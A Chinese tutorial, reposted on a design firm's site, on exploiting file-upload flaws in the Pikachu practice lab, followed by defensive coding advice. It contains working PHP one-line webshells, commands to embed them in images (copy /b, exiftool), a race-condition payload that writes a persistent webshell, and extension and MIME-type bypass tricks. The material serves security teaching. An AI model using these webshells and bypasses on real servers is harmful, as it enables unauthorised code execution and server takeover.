尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

Pikachu靶场文件上传漏洞实战:从原理到三种经典绕过技巧

Pikachu靶场文件上传漏洞实战:从原理到三种经典绕过技巧 1. 项目概述从“上传”到“拿权”的攻防演练如果你刚接触网络安全尤其是Web安全那么“文件上传漏洞”绝对是你绕不开的第一个实战大关。这玩意儿听起来平平无奇不就是传个文件嘛但它的威力往往能直接让你从网站的一个普通访客摇身一变成为服务器的“管理员”。我当年入门的时候就是从一个叫Pikachu的靶场开始对着它的文件上传模块一通“折腾”才真正理解了什么叫“一个漏洞一条链子直通后台”。今天我就带你手把手通关Pikachu靶场的文件上传漏洞实战并且附上三种最经典、最实用的绕过技巧。这不仅仅是完成靶场任务更是为你建立一套面对真实环境上传点的“肌肉记忆”和攻防思维。Pikachu靶场可以看作是一个专门为安全学习者搭建的“漏洞动物园”它把各种常见的Web漏洞比如SQL注入、XSS、文件上传等都做成了一个个独立、无害的挑战关卡。文件上传漏洞这一块它模拟了开发者可能犯的各种错误从毫无防护到简单的前端校验再到蹩脚的后端过滤。我们的目标就是上传一个特殊的文件——通常是包含恶意代码的Webshell比如一句话木马然后利用它来执行任意命令从而控制服务器。这个过程就是一次完整的“攻陷”演练。对于新手而言通关Pikachu的文件上传意味着你不仅知道了漏洞怎么利用更关键的是你能理解开发者为什么会留下这些漏洞以及未来你写代码时该如何避免。下面我们就从环境准备开始一步步拆解这个看似简单实则暗藏玄机的漏洞。2. 环境准备与靶场搭建工欲善其事必先利其器。在开始“实战”之前我们需要一个安全、可控的练习环境。直接在互联网上找网站测试是绝对违法的而Pikachu这样的本地靶场就是我们绝佳的沙盒。2.1 基础运行环境部署Pikachu靶场本质上是一个PHPMySQL的Web应用。因此我们首先需要一个集成了Web服务器如Apache/Nginx、PHP解释器和MySQL数据库的软件包。对于Windows用户我强烈推荐使用PHPStudy或XAMPP。以PHPStudy为例它的优势在于一键安装、切换PHP版本方便并且自带MySQL管理工具对新手极其友好。下载安装后启动PHPStudy你会看到它集成了Apache和MySQL服务。点击“启动”按钮确保两者状态都变为绿色“运行中”。此时你的本机就已经是一个Web服务器了默认访问地址通常是http://localhost或http://127.0.0.1。接下来我们需要将Pikachu的源代码放到服务器的网站根目录下。这个根目录路径在PHPStudy的“网站”设置里可以找到通常是phpstudy_pro/WWW/。你只需要从Pikachu的官方GitHub仓库下载源码压缩包解压后将整个pikachu文件夹复制到这个WWW目录下即可。注意有些教程会让你直接修改Apache的配置文件httpd.conf来设置虚拟主机但对于纯粹的学习和通关练习放到默认根目录是最简单直接的方式能避免很多因配置错误导致的访问问题。完成文件复制后在浏览器中访问http://localhost/pikachu你应该能看到Pikachu的首页。第一次访问时页面可能会提示你初始化安装。点击链接它会自动帮你创建所需的数据库和数据表。这个过程一般很顺利如果遇到问题最常见的原因是MySQL服务没有启动或者数据库连接密码不对PHPStudy的MySQL默认密码通常是root。安装成功后刷新页面你就进入了Pikachu漏洞练习平台的主界面。2.2 核心工具配置Burp Suite与浏览器代理在Web安全测试中Burp Suite简称BP是当之无愧的“瑞士军刀”。它是一个拦截代理能让我们抓取和修改浏览器与服务器之间的所有HTTP/HTTPS请求。对于文件上传漏洞的绕过尤其是涉及前端JS校验或复杂的数据包修改BP是必不可少的。首先你需要下载并安装Burp Suite Community Edition社区免费版。安装完成后启动Burp它会默认在本地127.0.0.1:8080开启一个代理服务。接下来我们需要配置浏览器将流量导向这个代理。以Chrome浏览器为例你可以安装SwitchyOmega这样的代理管理插件新建一个情景模式配置代理服务器为127.0.0.1端口为8080。更简单直接的方法是在系统的网络设置或浏览器设置中直接配置HTTP代理为127.0.0.1:8080。配置好代理后最关键的一步是安装Burp的CA证书。因为现在大多数网站都使用HTTPSBurp要拦截和解密HTTPS流量必须成为受浏览器信任的“中间人”。在Burp的Proxy - Options选项卡中你可以导出CA证书。然后将这个证书导入到你的浏览器或操作系统的受信任根证书颁发机构中。完成这一步后用浏览器访问http://localhost/pikachu并确保Burp的“Intercept is on”按钮是开启状态你就能在Burp的Proxy - Intercept标签页里看到捕获到的请求了。这时你可以放行Forward或丢弃Drop请求也可以直接修改请求的任何部分包括参数、头部乃至整个文件上传的数据包。实操心得新手常犯的一个错误是证书安装不正确导致HTTPS网站无法访问或报不安全警告。务必仔细按照官方文档或可靠教程操作。另外测试完成后记得关闭浏览器代理或切换到直连模式否则会影响正常上网。3. 漏洞原理深度解析为什么文件上传如此危险在开始实战前我们必须先搞清楚一个普普通通的文件上传功能怎么就变成了一个高危漏洞这背后的核心逻辑在于“信任边界”的失控。一个设计良好的文件上传功能应该对用户上传的文件进行严格的“安检”这个安检流程通常包括以下几个环节客户端校验通过JavaScript在用户本地检查文件大小、类型通过后缀名判断。服务端校验这是真正的防线通常包括后缀名黑/白名单校验只允许.jpg,.png等图片后缀或禁止.php,.jsp等脚本后缀。MIME类型校验检查HTTP请求头中的Content-Type字段如图片应为image/jpeg。文件内容校验通过读取文件头部的“魔数”Magic Number来判断真实文件类型例如FF D8 FF E0是JPEG图片的开头。文件重命名服务器用随机字符串重命名上传的文件避免用户直接访问原文件名。目录权限隔离将上传的文件存放在非Web可访问目录或通过脚本间接访问。而文件上传漏洞的产生就是因为上述一个或多个环节缺失或存在缺陷。攻击者上传一个看似是图片实则内嵌了PHP代码的文件或者直接上传一个.php后缀的Webshell。如果服务器未做有效校验就会将这个文件保存在Web目录下。攻击者随后通过浏览器直接访问这个文件的URL服务器就会将其中的PHP代码当作脚本执行。这样一来攻击者就能在服务器上执行任意系统命令比如查看目录、读取数据库配置文件、甚至反弹一个Shell回来实现完全控制。Pikachu靶场的文件上传模块正是精心设计了多种有缺陷的“安检”场景让我们可以逐一击破。理解每一种缺陷的成因是后续进行有效防御的基础。接下来我们就进入实战环节从最简单的场景开始。4. 实战通关无防护与前端绕过4.1 关卡一毫无过滤的“裸奔”上传我们首先访问Pikachu平台找到“文件上传漏洞”模块下的“Unsafe File Upload”。这个关卡模拟的是最极端也最危险的情况开发者完全信任用户未做任何校验。页面就是一个简单的表单让你选择文件并上传。我们的目标是上传一个PHP Webshell。最简单的一句话木马内容如下?php eval($_POST[cmd]);?我们将这段代码保存为一个文件比如shell.php。然后直接在表单中选择这个文件点击上传。不出意外页面会返回上传成功的提示并显示文件的访问路径例如http://localhost/pikachu/upload/shell.php。漏洞利用我们使用中国菜刀Cknife、蚁剑AntSword或冰蝎Behinder这类Webshell管理工具。在工具中添加这个Shell的URLhttp://localhost/pikachu/upload/shell.php。配置连接密码即我们代码中的cmd。连接成功后我们就可以在图形化界面里执行命令、浏览文件、上传下载完全控制服务器。这个关卡虽然简单但它揭示了漏洞最本质的危害绝对不要信任任何客户端提交的数据。在实际开发中这种零防护的情况已不多见但它是一切绕过技巧的起点。4.2 关卡二击破前端JavaScript校验接下来我们尝试“Client check”关卡。这个页面看起来和第一个一样但当你选择shell.php并点击上传时可能会立刻弹出一个警告框提示“文件类型不正确请重新选择”。原理分析 这种校验是通过页面内嵌的JavaScript代码实现的。我们可以通过浏览器的“检查元素”F12功能查看网页源代码。通常在form标签或文件输入框input type”file”附近会有一段onchange或onsubmit事件触发的JavaScript函数。这个函数会检查你选择的文件的后缀名file.name如果不在它允许的列表里比如只允许.jpg,.png就阻止表单提交并弹出警告。绕过技巧一禁用浏览器JS执行既然校验发生在客户端最粗暴的绕过方法就是让这段JS代码不执行。方法A浏览器设置在浏览器设置中关闭JavaScript执行。但这种方法可能影响页面其他功能。方法B更优雅使用Burp Suite拦截修改。这才是我们练习的重点。实操步骤保持Burp的拦截功能开启Intercept is on。在靶场页面我们先选择一个合法的文件比如一张真实的test.jpg图片然后点击上传。此时HTTP请求会被Burp拦截在Proxy - Intercept标签页。在Burp的拦截界面我们可以看到完整的HTTP请求数据包。我们需要找到代表文件内容的那个部分。通常它会以-----------------------------这样的边界符开始里面包含了文件名filename”test.jpg”和文件内容一堆乱码即图片的二进制数据。我们的操作是将文件名filename”test.jpg”修改为filename”shell.php”。注意只修改这个引号里的字符串不要动其他部分特别是后面的文件内容主体。修改完成后点击“Forward”放行这个数据包。回到浏览器你会发现页面显示上传成功并且文件被保存为shell.php。但这里有个关键点我们上传的文件内容仍然是test.jpg的图片二进制数据而不是PHP代码。所以这个shell.php实际上是一个内容为图片的PHP文件服务器执行时会报错因为它不是有效的PHP脚本。真正的攻击 那么如何上传真正的Webshell呢我们需要上传一个内容为PHP代码但“骗过”前端校验的文件。这里就用到一个小技巧制作图片马。准备一张正常的图片比如normal.jpg。准备我们的Webshell代码shell.php。在Windows命令行或Linux终端中使用copy命令将两者合并copy normal.jpg /b shell.php /a webshell.jpg。这个命令会将shell.php的代码追加到normal.jpg的二进制内容之后生成一个新文件webshell.jpg。现在这个webshell.jpg文件用图片查看器打开依然是一张正常的图片因为图片解析器会忽略文件末尾的非图片数据但用文本编辑器打开末尾可以看到我们的PHP代码。在靶场页面我们选择这个webshell.jpg文件上传。前端JS校验通过因为后缀是.jpg。用Burp拦截请求将filename”webshell.jpg”修改为filename”webshell.php”然后放行。这样服务器收到的是一个后缀为.php但文件内容包含有效图片头和Webshell代码的文件。如果服务器仅校验后缀名这个文件就会被成功上传并当作PHP脚本执行。注意事项这种前端校验形同虚设因为它完全依赖于用户浏览器的行为。任何懂一点技术的攻击者都可以轻松绕过。作为开发者必须牢记所有安全检查必须在服务端进行。这个关卡教会我们不要被表面的“安全提示”所迷惑真正的战场在服务器端。5. 进阶挑战服务端校验的绕过艺术通过了前端校验我们来到了真正的防线——服务端校验。Pikachu靶场提供了几种典型的服务端缺陷场景。5.1 关卡三有缺陷的后缀名黑名单我们进入“服务端校验”或类似名称的关卡。这个关卡的服务端代码可能使用了一个黑名单例如禁止上传.php,.asp,.jsp等后缀。绕过技巧二冷门后缀与大小写变换黑名单的固有缺陷是“列举不全”。我们可以尝试一些可能未被列入黑名单的、但依然能被服务器解析的后缀。PHP相关.php3,.php4,.php5,.phtml,.phps。这些是PHP不同版本或配置下的可执行后缀。大小写绕过在某些对大小写不敏感或未做规范化处理的系统中.Php,.PHP,.pHp可能被绕过。特殊后缀.php.(末尾有点).php(末尾有空格)。在某些系统处理文件名时末尾的点或空格会被自动去除导致保存的文件名实际是.php。实操测试 我们可以直接尝试上传shell.php5文件。如果黑名单里只写了.php那么这个文件就可能被允许上传。上传后我们需要尝试访问http://localhost/pikachu/upload/shell.php5看服务器是否将其作为PHP脚本执行。这取决于服务器的配置例如Apache的AddType指令是否将.php5映射给PHP解析器。5.2 关卡四有缺陷的MIME类型校验有些服务端校验会检查HTTP请求头中的Content-Type字段。当我们上传一个.jpg文件时浏览器自动生成的Content-Type是image/jpeg上传.php文件时则是application/octet-stream或text/php。绕过技巧三数据包重放与修改这种校验同样可以通过Burp Suite轻松绕过。准备一个图片马webshell.jpg内容包含PHP代码。在靶场页面选择它并上传同时用Burp拦截请求。在Burp的拦截界面我们不仅能看到文件名还能看到请求头部的Content-Type: image/jpeg。现在我们将文件名修改为webshell.php同时保持Content-Type: image/jpeg不变。放行数据包。如果服务器只校验了Content-Type而没做其他检查如文件头校验那么它看到Content-Type是合法的图片类型就会允许上传并且因为后缀是.php服务器会尝试解析执行我们的Webshell就被成功植入了。实操心得MIME类型是浏览器根据文件后缀“猜测”并填充的完全由客户端控制因此绝对不可信。可靠的校验必须基于文件本身的内容例如下一节要讲的文件头校验。5.3 关卡五组合绕过与条件竞争在一些更复杂的场景中服务器可能采用了多重校验但实现逻辑有误。例如先检查后缀名再检查文件内容如图片头如果内容不合法就删除文件。这听起来很安全但可能存在“条件竞争”漏洞。漏洞原理 服务器端的代码逻辑可能是这样的接收上传文件生成一个临时文件名如tmp_xxxx.php。检查文件头如果不是图片删除这个临时文件。如果是图片将其重命名为最终名称如xxxx.jpg。问题在于第2步和第3步之间以及文件被删除之前存在一个极短的时间窗口。攻击者可以编写一个自动化脚本在文件上传成功后、被删除前以极快的速度疯狂访问这个临时文件的URL。如果速度足够快就有可能在服务器执行删除操作之前访问到该文件并触发其中的PHP代码执行。这就是“条件竞争”漏洞。模拟利用思路 虽然Pikachu靶场可能没有直接模拟这种场景但理解其原理至关重要。在实际测试中我们会上传一个内容是?php fputs(fopen(‘shell.php’, ‘w’), ‘?php eval($_POST[cmd]);?’);?的文件。这个代码的作用是一旦被执行就会在当前目录下写入一个真正的、持久的Webshell文件shell.php。然后我们利用Burp的Intruder模块或编写Python脚本以多线程并发的方式高速请求那个临时文件地址以期在它被删除前“抢跑”成功。6. 防御方案与安全开发指南经历了攻击者的视角现在我们切换回防御者。一个健壮的文件上传功能应该如何设计这里提供一份可落地的安全开发指南。6.1 设计原则白名单与最小权限使用白名单而非黑名单只允许明确安全的文件类型如.jpg,.png,.gif。列表以外的全部拒绝。文件重命名使用不可预测的随机字符串如UUID重命名上传的文件避免用户通过文件名直接访问或猜测其他文件。例如a1b2c3d4.jpg。目录隔离将上传的文件存储在Web根目录以外的路径。通过一个专门的PHP脚本来读取和传递文件内容。例如用户访问http://example.com/showimg?ida1b2c3d4后端脚本根据id从安全目录读取对应的图片文件并正确设置Content-Type后输出给浏览器。这样即使上传了恶意脚本用户也无法直接通过URL触发执行。设置严格的文件权限上传目录应仅赋予Web服务器进程读取和执行权限禁止写入权限如果需要覆盖则另当别论。6.2 代码实现示例PHP以下是一个相对安全的PHP文件上传函数示例包含了白名单、文件头校验和重命名function safeUpload($fileInputName, $uploadDir) { // 1. 定义白名单 $allowedTypes [image/jpeg jpg, image/png png, image/gif gif]; $allowedExts array_values($allowedTypes); // [‘jpg‘, ‘png‘, ‘gif‘] // 2. 检查上传过程是否出错 if ($_FILES[$fileInputName][error] ! UPLOAD_ERR_OK) { die(文件上传失败。); } $tmpFile $_FILES[$fileInputName][tmp_name]; $originalName $_FILES[$fileInputName][name]; // 3. 获取真实的MIME类型和扩展名使用文件头 $finfo finfo_open(FILEINFO_MIME_TYPE); $detectedMime finfo_file($finfo, $tmpFile); finfo_close($finfo); // 4. 白名单校验MIME类型 if (!array_key_exists($detectedMime, $allowedTypes)) { die(不允许的文件类型。); } // 5. 获取并校验后缀名双重校验 $ext strtolower(pathinfo($originalName, PATHINFO_EXTENSION)); if (!in_array($ext, $allowedExts)) { die(文件后缀名不合法。); } // 确保MIME类型映射的后缀和实际后缀一致可选但更严格 if ($allowedTypes[$detectedMime] ! $ext) { die(文件类型与后缀名不匹配。); } // 6. 生成随机文件名并移动文件 $newFileName uniqid(img_, true) . . . $ext; // 例如 img_5f9b3c7e8d1a2.jpg $destination $uploadDir . DIRECTORY_SEPARATOR . $newFileName; if (move_uploaded_file($tmpFile, $destination)) { // 7. 返回存储的文件名不含路径用于存入数据库 return $newFileName; } else { die(文件保存失败。); } }这个函数的关键点在于使用finfo_file检测文件真实MIME类型这是防御文件头伪装的最有效手段。同时校验了从文件头推导出的类型和用户提交的后缀名两者必须在白名单内且相互匹配。使用uniqid()生成高随机度的文件名。使用move_uploaded_file()函数它本身会检查文件是否是通过HTTP POST上传的增加了安全性。6.3 额外加固措施限制文件大小在PHP配置php.ini和代码中限制upload_max_filesize和post_max_size。图片二次渲染对于图片文件可以使用GD库或ImageMagick将上传的图片重新保存一遍。这个过程会剥离所有可能嵌入在图片元数据如EXIF或文件末尾的恶意代码生成一个“干净”的新图片文件。这是防御图片马最彻底的方法。病毒扫描在服务器端集成ClamAV等开源杀毒引擎对上传文件进行扫描。日志与监控记录所有文件上传操作的详细信息IP、时间、文件名、结果并设置异常告警如短时间内大量上传尝试、尝试上传可疑后缀等。7. 常见问题与排查技巧实录在实际操作Pikachu靶场或进行类似测试时你可能会遇到一些坑。这里记录几个典型问题及其解决方法。问题1上传成功但访问Webshell时返回空白页或直接下载文件而不是执行代码。排查思路这说明服务器没有将.php文件识别为PHP脚本去解析。可能原因与解决文件内容错误用文本编辑器打开你上传的.php文件确认里面的PHP代码语法正确并且起始标签是?php。服务器未配置PHP解析检查你的PHPStudy或XAMPP中Apache是否正确地处理了.php后缀。确保httpd.conf中有LoadModule php_module和AddType application/x-httpd-php .php这样的配置。在PHPStudy中通常切换一下PHP版本或重启服务即可。文件权限问题虽然本地测试环境问题不大但在Linux环境下需要确保Web服务器用户如www-data对上传的.php文件有读取权限。问题2使用Burp修改数据包后上传失败服务器返回错误。排查思路HTTP数据包是一个结构化的文本任何不经意的修改都可能破坏其结构。检查要点请求头完整性修改文件名时千万不要动Content-Type头部后面的空行也不要动表示数据体开始的边界符那一长串横线。内容长度如果你修改了文件名而新文件名的长度和旧的不同那么请求头中的Content-Length字段也需要相应更新。不过对于简单的后缀名修改如.jpg改为.php长度不变通常可以忽略。Burp Suite在放行数据包时有时会自动修正Content-Length。编码问题确保你修改的部分是纯文本没有引入不可见的特殊字符。最好在Burp的拦截窗口里直接修改而不是复制到外部编辑器。问题3制作的图片马上传后图片无法正常显示或者Webshell代码不执行。排查思路图片马的制作可能破坏了图片的文件头结构或者Webshell代码的位置不对。解决方法使用copy /b命令制作图片马时确保图片文件在前PHP代码文件在后。使用专业的工具如edjpgcomWindows或exiftool跨平台将PHP代码写入图片的注释等元数据区域这样对图片本身的破坏最小。命令示例exiftool -Comment‘?php system($_GET[“c”]); ?’ normal.jpg生成的新文件可能仍能被解析。最稳妥的方法是让服务器端的Webshell代码本身就是一个有效的图片文件。例如写一个PHP文件其开头是GIF图片的文件头GIF89a后面再接PHP代码。这样无论从图片解析器还是PHP解析器的角度看文件都是“有效”的。但这种技巧高度依赖于服务器校验的严格程度。问题4靶场环境访问缓慢或出现数据库连接错误。排查思路这是PHPStudy环境或Pikachu自身配置的常见问题。解决步骤确认MySQL服务是否正常运行PHPStudy面板上MySQL指示灯为绿色。检查Pikachu的配置文件通常是inc/config.inc.php确认数据库连接参数主机名、用户名、密码、数据库名与你的PHPStudy设置一致。PHPStudy的MySQL默认密码通常是root。尝试重新初始化Pikachu数据库访问首页的安装链接。通关Pikachu的文件上传漏洞远不止于点击“上传”按钮。它是一次从客户端到服务端、从简单校验到复合绕开的完整攻防思维训练。每一个绕过技巧背后都对应着开发者一个想当然的安全假设。作为学习者掌握这些技巧不是为了攻击而是为了在日后构建系统时能清晰地看到这些假设的脆弱性从而筑起更坚固的防线。记住安全是一个持续的过程没有一劳永逸的解决方案只有对风险更深刻的认知和对细节更执着的关注。
返回列表